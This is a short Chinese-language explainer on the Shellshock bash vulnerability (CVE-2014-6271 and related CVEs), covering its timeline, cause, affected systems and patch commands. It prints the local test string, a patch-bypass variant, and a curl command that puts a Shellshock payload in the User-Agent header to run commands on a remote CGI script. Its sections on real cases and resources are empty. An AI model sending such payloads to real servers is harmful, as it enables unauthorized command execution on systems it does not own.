bash漏洞（shellshock）

1、漏洞简介

CVE-2014-6271漏洞又称破壳漏洞，是Stéphane Chazelas（法国）于2014年9月中旬发现的SHELL的一个漏洞，向环境变量值内的函数定义后添加多余的字符串会触发此漏洞，攻击者可利用此漏洞改变或绕过环境限制，以执行shell命令。该漏洞影响极其严重，修复过程也十分坎坷。时间线大致如下：

9月24日：CVE-2014-6271被公开，补丁也快速形成，但因补丁修复不完整导致CVE-2014-7169；

9月27日：因前两个漏洞补丁修复不完整导致CVE-2014-6277；

9月30日：因在前三个漏洞补丁修复不完整导致CVE-2014-6278；

9月28日：Bash的两个溢出漏洞又被公开CVE-2014-7186、CVE-2014-7187。

2、漏洞成因

存在漏洞的bash会将形如 

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

的字符解析为一个函数定义和一个command。导致任意命令执行。

3、漏洞检测及利用

bash破壳漏洞本地检测 官方验证版 

env x='() { :;}; echo vulnerable; bash -c "echo this is a test"

若系统bash存在漏洞则会打印出 

vulnerable
this is a test

官方patch绕过版 

env -i X='() { (a)=>\' bash -c 'echo date'; cat echo

http cgi远程命令执行 

curl -A "() { :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v

4、影响范围

“破壳”是一个严重漏洞的别名，在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271（即“破壳”漏洞）漏洞的Bash版本，同时由于Bash在各主流操作系统的广泛应用，此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X，而针对这些操作系统管理下的数据均存在高危威胁。

此漏洞可能会影响到使用ForceCommand功能的OpenSSH sshd、使用modcgi或modcgid的Apache服务器、DHCP客户端、SMTP服务器等其他使用bash作为解释器的应用。

5、实际案例

6、漏洞修复

安装最新的补丁

在各种GNU/Linux发行版里需要升级：

Debian-based（包括Ubuntu）: 

sudo apt-get update && apt-get upgrade

Gentoo： 

sudo emerge --sync && glsa-check -f affected

OpenSSH: 

加入no-pty

7、相关资源